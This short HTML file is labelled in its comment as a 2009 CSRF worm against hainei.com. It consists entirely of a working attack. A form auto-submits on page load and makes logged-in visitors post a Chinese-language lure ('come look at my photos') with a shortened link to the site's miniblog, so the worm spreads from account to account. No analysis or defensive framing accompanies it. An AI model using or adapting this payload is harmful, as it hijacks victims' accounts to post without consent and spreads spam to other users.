<!-- hainei.com CSRF worm by mingcheng 20090512 -->
<form method="post" action="http://www.hainei.com/miniblog?h=253d88be&fr=pf" id="hainei">
    <textarea name="content" type="text">快来看看我的照片 http://is.gd/yKYU </textarea>
    <input type="hidden" value="10" name="method" />
</form>
<script>
    document.getElementById('hainei').submit();
</script>
